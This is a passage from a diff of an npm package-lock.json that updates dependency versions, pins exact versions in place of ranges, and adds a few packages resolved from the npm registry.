"sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", "dev": true }, "readable-stream": { @@ -7165,13 +7832,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.1", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -7180,7 +7847,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -7197,11 +7864,11 @@ "integrity": "sha512-7hIW7YinOYUpo//kSYcPB6dCKoceKLmOwjEMmhIobHuWGDVl0Nwe4l68mdG/Ru0wcUxQjVMEoZpkalZ/SE7zog==", "dev": true, "requires": { - "es6-templates": "^0.2.3", - "fastparse": "^1.1.1", - "html-minifier": "^3.5.8", - "loader-utils": "^1.1.0", - "object-assign": "^4.1.1" + "es6-templates": "0.2.3", + "fastparse": "1.1.1", + "html-minifier": "3.5.19", + "loader-utils": "1.1.0", + "object-assign": "4.1.1" }, "dependencies": { "loader-utils": { @@ -7210,9 +7877,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } } } @@ -7223,13 +7890,13 @@ "integrity": "sha512-Qr2JC9nsjK8oCrEmuB430ZIA8YWbF3D5LSjywD75FTuXmeqacwHgIM8wp3vHYzzPbklSjp53RdmDuzR4ub2HzA==", "dev": true, "requires": { - "camel-case": "3.0.x", - "clean-css": "4.1.x", - "commander": "2.16.x", - "he": "1.1.x", - "param-case": "2.1.x", - "relateurl": "0.2.x", - "uglify-js": "3.4.x" + "camel-case": "3.0.0", + "clean-css": "4.1.11", + "commander": "2.16.0", + "he": "1.1.1", + "param-case": "2.1.1", + "relateurl": "0.2.7", + "uglify-js": "3.4.7" }, "dependencies": { "commander": { @@ -7250,8 +7917,8 @@ "integrity": "sha512-J0M2i1mQA+ze3EdN9SBi751DNdAXmeFLfJrd/MDIkRc3G3Gbb9OPVSx7GIQvVwfWxQARcYV2DTxIkMyDAk3o9Q==", "dev": true, "requires": { - "commander": "~2.16.0", - "source-map": "~0.6.1" + "commander": "2.16.0", + "source-map": "0.6.1" } } } @@ -7262,12 +7929,12 @@ "integrity": "sha1-sBq71yOsqqeze2r0SS69oD2d03s=", "dev": true, "requires": { - "html-minifier": "^3.2.3", - "loader-utils": "^0.2.16", - "lodash": "^4.17.3", - "pretty-error": "^2.0.2", - "tapable": "^1.0.0", - "toposort": "^1.0.0", + "html-minifier": "3.5.19", + "loader-utils": "0.2.17", + "lodash": "4.17.10", + "pretty-error": "2.1.1", + "tapable": "1.0.0", + "toposort": "1.0.7", "util.promisify": "1.0.0" } }, @@ -7277,10 +7944,10 @@ "integrity": "sha1-zHDQWln2VC5D8OaFyYLhTJJKnv4=", "dev": true, "requires": { - "domelementtype": "1", - "domhandler": "2.1", - "domutils": "1.1", - "readable-stream": "1.0" + "domelementtype": "1.3.0", + "domhandler": "2.1.0", + "domutils": "1.1.6", + "readable-stream": "1.0.34" }, "dependencies": { "domutils": { @@ -7289,7 +7956,7 @@ "integrity": "sha1-vdw94Jm5ou+sxRxiPyj0FuzFdIU=", "dev": true, "requires": { - "domelementtype": "1" + "domelementtype": "1.3.0" } } } @@ -7301,44 +7968,45 @@ "dev": true }, "http-errors": { - "version": "1.6.3", - "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz", - "integrity": "sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=", + "version": "1.7.2", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz", + "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==", "dev": true, "requires": { - "depd": "~1.1.2", + "depd": "1.1.2", "inherits": "2.0.3", - "setprototypeof": "1.1.0", - "statuses": ">= 1.4.0 < 2" + "setprototypeof": "1.1.1", + "statuses": "1.5.0", + "toidentifier": "1.0.0" } }, "http-parser-js": { - "version": "0.4.13", - "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.4.13.tgz", - "integrity": "sha1-O9bW/ebjFyyTNMOzO2wZPYD+ETc=", + "version": "0.4.10", + "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.4.10.tgz", + "integrity": "sha1-ksnBN0w1CF912zWexWzCV8u5P6Q=", "dev": true }, "http-proxy": { - "version": "1.17.0", - "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.17.0.tgz", - "integrity": "sha512-Taqn+3nNvYRfJ3bGvKfBSRwy1v6eePlm3oc/aWVxZp57DQr5Eq3xhKJi7Z4hZpS8PC3H4qI+Yly5EmFacGuA/g==", + "version": "1.18.0", + "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.0.tgz", + "integrity": "sha512-84I2iJM/n1d4Hdgc6y2+qY5mDaz2PUVjlg9znE9byl+q0uC3DeByqBGReQu5tpLK0TAqTIXScRUV+dg7+bUPpQ==", "dev": true, "requires": { - "eventemitter3": "^3.0.0", - "follow-redirects": "^1.0.0", - "requires-port": "^1.0.0" + "eventemitter3": "4.0.0", + "follow-redirects": "1.9.0", + "requires-port": "1.0.0" } }, "http-proxy-middleware": { - "version": "0.18.0", - "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-0.18.0.tgz", - "integrity": "sha512-Fs25KVMPAIIcgjMZkVHJoKg9VcXcC1C8yb9JUgeDvVXY0S/zgVIhMb+qVswDIgtJe2DfckMSY2d6TuTEutlk6Q==", + "version": "0.19.1", + "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-0.19.1.tgz", + "integrity": "sha512-yHYTgWMQO8VvwNS22eLLloAkvungsKdKTLO8AJlftYIKNfJr3GK3zK0ZCfzDDGUBttdGc8xFy1mCitvNKQtC3Q==", "dev": true, "requires": { - "http-proxy": "^1.16.2", - "is-glob": "^4.0.0", - "lodash": "^4.17.5", - "micromatch": "^3.1.9" + "http-proxy": "1.18.0", + "is-glob": "4.0.1", + "lodash": "4.17.15", + "micromatch": "3.1.10" }, "dependencies": { "arr-diff": { @@ -7359,16 +8027,16 @@ "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", "dev": true, "requires": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" + "arr-flatten": "1.1.0", + "array-unique": "0.3.2", + "extend-shallow": "2.0.1", + "fill-range": "4.0.0", + "isobject": "3.0.1", + "repeat-element": "1.1.2", + "snapdragon": "0.8.2", + "snapdragon-node": "2.1.1", + "split-string": "3.1.0", + "to-regex": "3.0.2" }, "dependencies": { "extend-shallow": { @@ -7377,7 +8045,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -7388,13 +8056,13 @@ "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", "dev": true, "requires": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "debug": "2.6.8", + "define-property": "0.2.5", + "extend-shallow": "2.0.1", + "posix-character-classes": "0.1.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "define-property": { @@ -7403,7 +8071,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "^0.1.0" + "is-descriptor": "0.1.6" } }, "extend-shallow": { @@ -7412,7 +8080,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } }, "is-accessor-descriptor": { @@ -7421,7 +8089,7 @@ "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -7430,7 +8098,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -7441,7 +8109,7 @@ "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -7450,7 +8118,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -7461,9 +8129,9 @@ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", "dev": true, "requires": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" + "is-accessor-descriptor": "0.1.6", + "is-data-descriptor": "0.1.4", + "kind-of": "5.1.0" } }, "kind-of": { @@ -7480,14 +8148,14 @@ "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", "dev": true, "requires": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "array-unique": "0.3.2", + "define-property": "1.0.0", + "expand-brackets": "2.1.4", + "extend-shallow": "2.0.1", + "fragment-cache": "0.2.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "define-property": { @@ -7496,7 +8164,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "^1.0.0" + "is-descriptor": "1.0.2" } }, "extend-shallow": { @@ -7505,7 +8173,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -7516,10 +8184,10 @@ "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", "dev": true, "requires": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" + "extend-shallow": "2.0.1", + "is-number": "3.0.0", + "repeat-string": "1.6.1", + "to-regex-range": "2.1.1" }, "dependencies": { "extend-shallow": { @@ -7528,7 +8196,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -7539,7 +8207,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-data-descriptor": { @@ -7548,7 +8216,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-descriptor": { @@ -7557,9 +8225,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" } }, "is-extglob": { @@ -7569,12 +8237,12 @@ "dev": true }, "is-glob": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.0.tgz", - "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=", + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", + "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", "dev": true, "requires": { - "is-extglob": "^2.1.1" + "is-extglob": "2.1.1" } }, "is-number": { @@ -7583,7 +8251,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -7592,7 +8260,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -7609,25 +8277,31 @@ "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", "dev": true }, + "lodash": { + "version": "4.17.15", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", + "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==", + "dev": true + }, "micromatch": { "version": "3.1.10", "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", "dev": true, "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" + "arr-diff": "4.0.0", + "array-unique": "0.3.2", + "braces": "2.3.2", + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "extglob": "2.0.4", + "fragment-cache": "0.2.1", + "kind-of": "6.0.2", + "nanomatch": "1.2.13", + "object.pick": "1.3.0", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" } } } @@ -7637,9 +8311,9 @@ "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz", "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", "requires": { - "assert-plus": "^1.0.0", - "jsprim": "^1.2.2", - "sshpk": "^1.7.0" + "assert-plus": "1.0.0", + "jsprim": "1.4.1", + "sshpk": "1.14.1" } }, "https-browserify": { @@ -7665,13 +8339,13 @@ "integrity": "sha1-g/Cg7DeL8yRheLbCrZE28TWxyWI=", "dev": true, "requires": { - "postcss": "^6.0.1" + "postcss": "6.0.23" } }, "ieee754": { - "version": "1.1.12", - "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.1.12.tgz", - "integrity": "sha512-GguP+DRY+pJ3soyIiGPTvdiVXjZ+DbXOxGpXn3eMvNW4x4irjqXm4wHKscC+TfxSJ0yw/S1F24tqdMNsMZTiLA==" + "version": "1.1.13", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.1.13.tgz", + "integrity": "sha512-4vf7I2LYV/HaWerSo3XmlMkp5eZ83i+/CDluXi/IGTs/O1sejBNhTtnxzmRZfvOUqj7lZjqHkeTvpgSFDlWZTg==" }, "iferr": { "version": "0.1.5", @@ -7686,27 +8360,12 @@ "dev": true }, "import-fresh": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-2.0.0.tgz", - "integrity": "sha1-2BNVwVYS04bGH53dOSLUMEgipUY=", + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.2.1.tgz", + "integrity": "sha512-6e1q1cnWP2RXD9/keSkxHScg508CdXqXWgWBaETNhyuBFz+kUZlKboh+ISK+bU++DmbHimVBrOz/zzPe0sZ3sQ==", "requires": { - "caller-path": "^2.0.0", - "resolve-from": "^3.0.0" - }, - "dependencies": { - "caller-path": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/caller-path/-/caller-path-2.0.0.tgz", - "integrity": "sha1-Ro+DBE42mrIBD6xfBs7uFbsssfQ=", - "requires": { - "caller-callsite": "^2.0.0" - } - }, - "resolve-from": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-3.0.0.tgz", - "integrity": "sha1-six699nWiBvItuZTM17rywoYh0g=" - } + "parent-module": "1.0.1", + "resolve-from": "4.0.0" } }, "import-local": { @@ -7715,8 +8374,8 @@ "integrity": "sha512-b6s04m3O+s3CGSbqDIyP4R6aAwAeYlVq9+WUWep6iHa8ETRf9yei1U48C5MmfJmV9AiLYYBKPMq/W+/WRpQmCQ==", "dev": true, "requires": { - "pkg-dir": "^3.0.0", - "resolve-cwd": "^2.0.0" + "pkg-dir": "3.0.0", + "resolve-cwd": "2.0.0" }, "dependencies": { "find-up": { @@ -7725,7 +8384,7 @@ "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", "dev": true, "requires": { - "locate-path": "^3.0.0" + "locate-path": "3.0.0" } }, "locate-path": { @@ -7734,17 +8393,17 @@ "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", "dev": true, "requires": { - "p-locate": "^3.0.0", - "path-exists": "^3.0.0" + "p-locate": "3.0.0", + "path-exists": "3.0.0" } }, "p-limit": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.0.0.tgz", - "integrity": "sha512-fl5s52lI5ahKCernzzIyAP0QAZbGIovtVHGwpcu1Jr/EpzLVDI2myISHwGqK7m8uQFugVWSrbxH7XnhGtvEc+A==", + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.2.1.tgz", + "integrity": "sha512-85Tk+90UCVWvbDavCLKPOLC9vvY8OwEX/RtKF+/1OADJMVlFfEHOiMTPVyxg7mk/dKa+ipdHm0OUkTvCpMTuwg==", "dev": true, "requires": { - "p-try": "^2.0.0" + "p-try": "2.2.0" } }, "p-locate": { @@ -7753,13 +8412,13 @@ "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", "dev": true, "requires": { - "p-limit": "^2.0.0" + "p-limit": "2.2.1" } }, "p-try": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.0.0.tgz", - "integrity": "sha512-hMp0onDKIajHfIkdRk3P4CdCmErkYAxxDtP3Wx/4nZ3aGlau2VKh3mZpcuFkH27WQkL/3WBCPOktzA9ZOAnMQQ==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", "dev": true }, "path-exists": { @@ -7774,7 +8433,7 @@ "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==", "dev": true, "requires": { - "find-up": "^3.0.0" + "find-up": "3.0.0" } } } @@ -7795,7 +8454,7 @@ "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-2.1.0.tgz", "integrity": "sha1-ji1INIdCEhtKghi3oTfppSBJ3IA=", "requires": { - "repeating": "^2.0.0" + "repeating": "2.0.1" } }, "indexof": { @@ -7804,13 +8463,19 @@ "integrity": "sha1-gtwzbSMrkGIXnQWrMpOmYFn9Q10=", "dev": true }, + "infer-owner": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz", + "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==", + "dev": true + }, "inflight": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", "requires": { - "once": "^1.3.0", - "wrappy": "1" + "once": "1.4.0", + "wrappy": "1.0.2" } }, "inherits": { @@ -7818,31 +8483,37 @@ "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" }, + "ini": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.5.tgz", + "integrity": "sha512-RZY5huIKCMRWDUqZlEi72f/lmXKMvuszcMBduliQ3nnWbx9X/ZBQO7DijMEYS9EhHBb2qacRUMtC7svLwe0lcw==", + "dev": true + }, "inquirer": { - "version": "6.2.0", - "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-6.2.0.tgz", - "integrity": "sha512-QIEQG4YyQ2UYZGDC4srMZ7BjHOmNk1lR2JQj5UknBapklm6WHA+VVH7N+sUdX3A7NeCfGF8o4X1S3Ao7nAcIeg==", + "version": "6.5.2", + "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-6.5.2.tgz", + "integrity": "sha512-cntlB5ghuB0iuO65Ovoi8ogLHiWGs/5yNrtUcKjFhSSiVeAIVpD7koaSU9RM8mpXw5YDi9RdYXGQMaOURB7ycQ==", "dev": true, "requires": { - "ansi-escapes": "^3.0.0", - "chalk": "^2.0.0", - "cli-cursor": "^2.1.0", - "cli-width": "^2.0.0", - "external-editor": "^3.0.0", - "figures": "^2.0.0", - "lodash": "^4.17.10", + "ansi-escapes": "3.2.0", + "chalk": "2.4.2", + "cli-cursor": "2.1.0", + "cli-width": "2.2.0", + "external-editor": "3.1.0", + "figures": "2.0.0", + "lodash": "4.17.15", "mute-stream": "0.0.7", - "run-async": "^2.2.0", - "rxjs": "^6.1.0", - "string-width": "^2.1.0", - "strip-ansi": "^4.0.0", - "through": "^2.3.6" + "run-async": "2.3.0", + "rxjs": "6.5.3", + "string-width": "2.1.1", + "strip-ansi": "5.2.0", + "through": "2.3.8" }, "dependencies": { "ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", + "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", "dev": true }, "ansi-styles": { @@ -7851,18 +8522,18 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "1.9.0" } }, "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.5.0" } }, "has-flag": { @@ -7871,13 +8542,19 @@ "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", "dev": true }, + "lodash": { + "version": "4.17.15", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", + "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==", + "dev": true + }, "strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", "dev": true, "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "4.1.0" } }, "supports-color": { @@ -7886,25 +8563,25 @@ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } } } }, "internal-ip": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/internal-ip/-/internal-ip-3.0.1.tgz", - "integrity": "sha512-NXXgESC2nNVtU+pqmC9e6R8B1GpKxzsAQhffvh5AL79qKnodd+L7tnEQmTiUAVngqLalPbSqRA7XGIEL5nCd0Q==", + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/internal-ip/-/internal-ip-4.3.0.tgz", + "integrity": "sha512-S1zBo1D6zcsyuC6PMmY5+55YMILQ9av8lotMx447Bq6SAgo/sDK6y6uUKmuYhW7eacnIhFfsPmCNYdDzsnnDCg==", "dev": true, "requires": { - "default-gateway": "^2.6.0", - "ipaddr.js": "^1.5.2" + "default-gateway": "4.2.0", + "ipaddr.js": "1.9.0" } }, "interpret": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.1.0.tgz", - "integrity": "sha1-ftGxQQxqDg94z5XTuEQMY/eLhhQ=", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.2.0.tgz", + "integrity": "sha512-mT34yGKMNceBQUoVn7iCDKDntA7SC6gycMAWzGx1z/CMCTV7b2AAtXlo3nRyHZ1FelRkQbQjprHSYGwzLtkVbw==", "dev": true }, "invariant": { @@ -7912,7 +8589,7 @@ "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.2.tgz", "integrity": "sha1-nh9WrArNtr8wMwbzOL47IErmA2A=", "requires": { - "loose-envify": "^1.0.0" + "loose-envify": "1.3.1" } }, "invert-kv": { @@ -7933,9 +8610,15 @@ "dev": true }, "ipaddr.js": { - "version": "1.8.0", - "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.8.0.tgz", - "integrity": "sha1-6qM9bd16zo9/b+DJygRA5wZzix4=", + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.0.tgz", + "integrity": 